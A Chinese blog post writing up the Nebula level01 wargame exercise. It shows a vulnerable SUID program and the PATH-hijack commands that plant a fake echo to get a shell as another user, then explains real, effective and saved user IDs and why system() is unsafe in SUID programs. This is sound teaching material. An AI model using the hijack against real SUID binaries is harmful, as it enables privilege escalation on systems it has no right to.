今天做exploit exercise的nebula level01,长见识了,记录一下。
题目
题目提供了/home/flag01/下flag01的源码:
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
int main(int argc, char **argv, char **envp)
{
gid_t gid;
uid_t uid;
gid = getegid();
uid = geteuid();
setresgid(gid, gid, gid);
setresuid(uid, uid, uid);
system("/usr/bin/env echo and now what?");
}
flag01的权限:
-rwsr-x— 1 flag01 level01 7322 2011-11-20 21:22 flag01
flag01的uid是用户flag01,gid是level01,suid位被使能了
解决方法网上都有:
$ export PATH=/tmp:$PATH # 把/tmp加到环境变量PATH的最前头
$ cat "/bin/bash" >> /tmp/echo # 在/tmp创建一个echo文件,里面是执行bash
$ chmod +x /tmp/echo # 把/tmp/echo设为执行文件
$ /home/flag01/flag01 # 执行/home/flag01下的flag01
# 顺利以用户flag01起bash
$ getflag # 通关
原理
主要原理网上的解法都说得很明白,就是通过env使得执行的echo是我们创建的假echo,成功以用户flag01的权限起bash
我想记录的主要是前面关于uid,gid的操作。
为什么system之前会有getegid,setresgid这些操作呢?没有会怎样?这还会成功吗?
答案是不行的!在stackoverflow找到解答:
Note that the setting of real user ID, effective user ID and saved set-user-ID by a call to setresuid() before the call to system() in the vulnerable code posted in the question allows one to exploit the vulnerability even when only effective user ID is set to a privileged user ID and real user ID remains unprivileged (as is for example the case when relying on set-user-ID bit on a file as above). Without the call to setresuid() the shell run by system() would reset the effective user ID back to the real user ID making the exploit ineffective. However, in the case when the vulnerable code is run with real user ID of a privileged user, system() call alone is enough.
man page of sh:
If the shell is started with the effective user (group) id not equal to the real user (group) id, and the -p option is not supplied, no startup files are read, shell functions are not inherited from the environment, the SHELLOPTS variable, if it appears in the environment, is ignored, and the effective user id is set to the real user id. If the -p option is supplied at invocation, the startup behavior is the same, but the effective user id is not reset.
real user ID, effective user ID,saved set-user-ID, set-user-ID bit
首先明确什么是real user ID, effective user ID,saved set-user-ID, set-user-ID bit
- real user ID 就是起进程的用户ID。
- effective user ID是进程的有效用户ID,决定这个进程对文件系统操作的权限。如果它是root,那这个进程的操作就是以root的权限了。
- set-user-id bit是程序的一个特征位,默认不使能,可以通过chmod +s 设置。当set-user-id被使能时,此程序叫SUID程序,程序启动时进程的effective user ID就是这个程序的uid;当set-user-id没被使能,则effective user ID是执行者real user ID。
- saved set-user-ID保存着进程启动时effective user ID的值。
因为进程内可以通过setuid等来设置effective user ID,也就改变了进程对文件系统操作的权限。但这不是可以随便设为任意的id的。
- 如果进程有管理员权限,则setuid可以把effective user ID设为任意id.
- 如果进程没有管理员权限,则setuid只能把effective user ID设为real user ID或者saved set-user-id。
这就知道saved set-user-ID有什么用了。它就是当程序是SUID程序时,effective user ID可以被设为real user ID和程序启动时的effective user ID,saved set-user-ID就是用来保存这个程序启动时effective user ID的值的,使得setuid可以把effective user ID可以从real user ID设回来。
bash
然后就是起bash时,如果effective user ID跟real user ID不同,且real user ID不是管理员权限用户,则会把effective user ID设回real user ID。
而我们这样如果没有setresgid,setresuid的话,real user ID是level01, effective user ID是flag01, 起bash时,effective user ID会被设回real user ID,那还只是以level01起bash,而不是flag01起bash了。
system()的安全问题
在这里也可以看到system()是有安全问题的,因为system()里面是fork完就直接调用execl,使得继承了父进程的effective user ID的子进程执行新的程序。
APUE也说了:
If it is running with special permissions–eithere set-user-ID or set-group-ID–and wants to spawn another process, a process should use fork() and exec() directly, being certain to change back to normal permissions after the fork(), before calling exec(). The system() function should never be used from a set-user-ID or a set-groupd-ID program.
意思在SUID程序中,不应该用system(),而是自己写fork()和exec()来实现,并在fork和exec中间,自己处理好id权限问题。
结语
之前看APUE,用户id这里看得一头雾水,通过这个exercise,总算有点感觉了。